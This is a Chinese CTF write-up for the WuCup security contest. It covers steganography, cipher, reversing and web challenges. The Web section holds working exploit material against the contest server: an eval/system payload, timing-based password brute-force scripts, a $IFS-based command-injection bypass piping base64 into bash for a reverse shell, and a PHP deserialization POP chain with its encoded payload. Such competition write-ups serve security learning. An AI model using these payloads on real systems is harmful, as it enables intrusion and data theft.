第一届“吾杯”网络安全技能大赛 Writeup

战队信息

战队名称:在你眼中我是誰,你想我代替誰?

战队排名:13

Misc

Sign

Hex 转 Str,即可得到flag。

原神启动!

不好评价,stegsolve 秒了:

复制代码
WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}

结果不是 flag,是压缩包密码。打开docx,拖到后面发现flag:

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传]

把图片删了即可得到flag。

复制代码
WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}

结果还是假的,令人感动,用zip打开这个docx,发现目录下有个img.zip,尝试解压发现密码不对,再回到docx,把那张被我删了的图片提取出来,StegSolve 秒了x2:

复制代码
WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

再解压,密码对了,里面又是一个加密压缩包,不出意外,密码是那个没用到的假 flag,解压得到真flag:

太极

根据题目提示,猜测 flag 每节为第i个字拼音的第i个字符拼接而成,编写代码:

python 复制代码
from Crypto.Util.number import *
import base64
import pickle
import os   
import sys
# from pwn import xor
import math
import requests
import hashlib
from Crypto.Cipher import AES
import itertools
# from pwn import *

a = [['tai','ji','sheng','liang','yi'],['liang','yi','sheng','si','xiang'],['si','xiang','sheng','ba','gua'],['ba','gua','ding','ji','xiong'],['ji','xiong','sheng','da','ye']]

print('WuCup{', end = '')
for i in a:
    jj = 0
    for j in i:
        print(j[jj % len(j)], end = '')
        jj += 1
    if i != a[-1]:
        print('-', end = '')

print('}')

'''
WuCup{tieny-lieig-sieau-bunig-jieay}
'''

Crypto

Easy

一眼S盒+异或,盲猜RC4,cyberchef 秒了。

Web

HelloHacker

代码审计,可以下载 prohibited.txt 查看过滤哪些词语,刚开始看感觉挺抽象,既要求那几个字符,又过滤那几个字符,属实有点精分了,后来感觉应该是有某个组合没被屏蔽,写代码爆破一下哪个组合没被过滤:

python 复制代码
import itertools

whereisi = __file__[:__file__.rfind('\\')+1]

string = 'erozxapvn'

with open(whereisi + 'prohibited.txt', 'r') as f:
    lines = f.readlines()
    lines = [i.strip() for i in lines]
    #测试string的所有排列方式,是否在文件中
    for i in itertools.permutations(string, len(string)):
        i = ''.join(i)
        if i not in lines:
            print(i)
            break

得到oxzverapn,之后仔细观察 prohibited.txt 可以发现有个别行里有空格,就说明其实这些符号和函数没被过滤。

根据没被屏蔽的符号和函数,不难想到构造 payload 如下:

复制代码
?incompetent=HelloHacker
&WuCup=eval($_POST[0]);#oxzverapn
&0=system("cat /flag");

得到 flag:

Sign

根据提示,明显是"密码"为sgin的webshell,POST 传参 sgin=system("cat /f*"); 秒了。

TimeCage

获取秒数,当秒数是0时,必为114,所以一直 ?input=114 等到秒数为0时即可得到key1:Trapping2147483647.php

来到第二关,需要爆破密码,首先爆破密码长度:

python 复制代码
import requests

url = 'http://challenge.wucup.cn:45328/Trapping2147483647.php'

passwd = ''
tables = '0123456789'

for i in range(1, 100):
    r = requests.post(url, data={'pass': '1'*i})
    if 'Wrong Length!'not in r.text:
        print("len = ",i)
        break
     
'''
len =  8
'''

得到密码长度为8位,接下来爆破密码,

使用"时间盲注",代码如下:

python 复制代码
import requests

url = 'http://challenge.wucup.cn:45328/Trapping2147483647.php'

passwd = '00000000'
tables = '0123456789'

for i in range(1, 9):
    for j in tables:
        passwd = passwd[:i-1] + j + passwd[i:]
        r = requests.post(url, data={'pass': passwd})
        if 'The final' in r.text:
            print(r.text)
            exit(0)
        if r.elapsed.total_seconds() >= i:
            print("第{}位为{}".format(i, j))
            break

'''
第1位为5
第2位为6
第3位为9
第4位为8
第5位为3
第6位为2
第7位为1
此处省略
</code>The final challenge in EscapeEsc@p3Escape.php
'''

得到第三关地址,是一个无回显RCE,过滤空格以及一些字符,反弹shell即可,空格用 $IFS$9 绕过。

复制代码
echo$IFS$9'被屏蔽'|base64$IFS$9-d|bash

url编码后POST发过去,得到shell:

直接 cat /flag 即可:

ezPHP

nuclei漏扫发现源码泄露漏洞:

bp 得到源码:

http 复制代码
GET /flag.php HTTP/1.1
Host: challenge.wucup.cn:38308


GET /Kawakaze HTTP/1.1

比较清晰的反序列化,根据代码写出poc如下:

php 复制代码
<?

class a{
    public $OAO;
    public $QAQ;
	public $OVO;
    public function __toString(){
		if(!preg_match('/hello/', OVO)){
			if ($this->OVO === "hello") {
                // echo "win2<br>";
				return $this->OAO->QAQ;
			}	
		}
    }
	public function __invoke(){
		return $this->OVO;
	}
}

class b{
    public $pap;
	public $vqv;
    public function __get($key){
        $functioin = $this->pap;
        return $functioin();
    }
	public function __toString(){
		return $this->vqv;
	}
}
class c{
    public $OOO;
    public function __invoke(){
		@$_ = $this->OOO;
		$___ = $_GET;
		var_dump($___);
		if (isset($___['h_in.t'])) {
			unset($___['h_in.t']);
		}
		var_dump($___);
		echo @call_user_func($_, ...$___); 
    }
}
class d{
    public $UUU;
    public $uuu;
    public function __wakeup(){
		echo $this->UUU;
    }
	public function __destruct(){
		echo $this->UUU;
}
}
// d->a->b->c

$a = new d();
$a->UUU = new a();
$a->UUU->OVO = "hello";
$a->UUU->OAO = new b();
$a->UUU->OAO->pap = new c();
$a->UUU->OAO->pap->OOO = "phpinfo";
$a->UUU->QAQ = "wwwwww";

echo (urlencode(serialize($a)));
echo '<br>';
?>

由于 $_GET 会将 h_in.t 转换为 h_in_t,当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_。所以将参数名改为 h[in.t,得到 phpinfo,发现一堆过滤函数:

仔细观察,发现没有过滤 file_get_contents,并且调用函数时会 echo 返回值,直接把上面的代码中的 phpinfo 改为 file_get_contents ,同时传个参,得到 flag:

复制代码
http://challenge.wucup.cn:38308/flag.php?h[in.t=O%3A1%3A%22d%22%3A2%3A%7Bs%3A3%3A%22UUU%22%3BO%3A1%3A%22a%22%3A3%3A%7Bs%3A3%3A%22OAO%22%3BO%3A1%3A%22b%22%3A2%3A%7Bs%3A3%3A%22pap%22%3BO%3A1%3A%22c%22%3A1%3A%7Bs%3A3%3A%22OOO%22%3Bs%3A17%3A%22file_get_contents%22%3B%7Ds%3A3%3A%22vqv%22%3BN%3B%7Ds%3A3%3A%22QAQ%22%3Bs%3A6%3A%22wwwwww%22%3Bs%3A3%3A%22OVO%22%3Bs%3A5%3A%22hello%22%3B%7Ds%3A3%3A%22uuu%22%3BN%3B%7D
&0=/flag

Reverse

If you know

有 UPX 壳,命令解压:

复制代码
upx -d miss

之后拖进 IDA 分析,逻辑比较简单,稍微逆过来写一下就行了,代码如下:

c 复制代码
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>

using namespace std;
typedef long long LL;
typedef long double DD;

LL input_str[] =
{
  245, 512, 520, 495, 565, 628, 570, 630, 695, 774, 690,787, 738, 815, 881, 1088, 824, 1001, 994, 950, 1031,1086, 954, 1012, 1045, 1139, 1242, 0
};

void fcn000002(LL *input_str_chars, int j__2, unsigned int len)
{
    LL* result;
    for (int i = len; i > 0; --i )
    {
        result = &input_str_chars[i];
        *result = (i ^ (*result - i - j__2));
    }
}

void fcn000001(LL *input_str_chars, int j__2, unsigned int len)
{
    LL result;
    for (int i = 0; ; ++i )
    {
        if ( i >= len )
        break;
        input_str_chars[i] = (i ^ (input_str_chars[i] - i - j__2));
    }
}

int main()
{
    int input_str_len = 27;
    for (int j = input_str_len-1; j >= 0 ; --j )
    {
        if ( (j & 1) != 0 )
            fcn000002(input_str, j + 2, input_str_len);
        else
            fcn000001(input_str, j + 1, input_str_len);
    }
    
    for (int i = 0; i < input_str_len; ++i )
    {
        cout << (char)input_str[i];
    }
	return 0; //-22 61 13 92
}

包裹 WuCup{} 即可。

相关推荐
m0_738120728 分钟前
玄机——某学校系统中挖矿病毒应急排查
网络·安全·web安全
费弗里39 分钟前
Python全栈应用开发利器Dash 3.x新版本介绍(1)
python·dash
帽儿山的枪手40 分钟前
为什么Linux需要3种NAT地址转换?一探究竟
linux·网络协议·安全
李少兄9 天前
解决OSS存储桶未创建导致的XML错误
xml·开发语言·python
就叫飞六吧9 天前
基于keepalived、vip实现高可用nginx (centos)
python·nginx·centos
Vertira9 天前
PyTorch中的permute, transpose, view, reshape和flatten函数详解(已解决)
人工智能·pytorch·python
学Linux的语莫9 天前
python基础语法
开发语言·python
匿名的魔术师9 天前
实验问题记录:PyTorch Tensor 也会出现 a = b 赋值后,修改 a 会影响 b 的情况
人工智能·pytorch·python
Ven%9 天前
PyTorch 张量(Tensors)全面指南:从基础到实战
人工智能·pytorch·python
mahuifa9 天前
PySide环境配置及工具使用
python·qt·环境配置·开发经验·pyside